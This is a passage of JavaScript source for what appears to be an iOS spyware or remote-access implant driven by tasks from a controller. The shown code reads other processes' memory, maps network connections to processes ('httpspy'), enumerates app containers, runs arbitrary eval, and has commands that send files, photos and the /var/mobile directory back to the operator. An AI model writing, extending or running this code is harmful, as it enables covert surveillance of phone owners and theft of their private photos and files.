dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] Create directory\\n\";\n\tout += \" rm [-rf] Remove file or directory\\n\";\n\tout += \" cp Copy file\\n\";\n\tout += \" mv Move/rename\\n\";\n\tout += \" stat File info\\n\";\n\tout += \" chmod Change permissions (octal)\\n\";\n\tout += \" touch Create / update timestamp\\n\";\n\tout += \" ln [-s] Create link\\n\";\n\tout += \" readlink Read symlink target\\n\";\n\tout += \" find [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] Show first N lines\\n\";\n\tout += \" tail [-n N] Show last N lines\\n\";\n\tout += \" wc [-lwc] Count lines/words/chars\\n\";\n\tout += \" grep [-in] Search in file\\n\";\n\tout += \" du [-sh] Disk 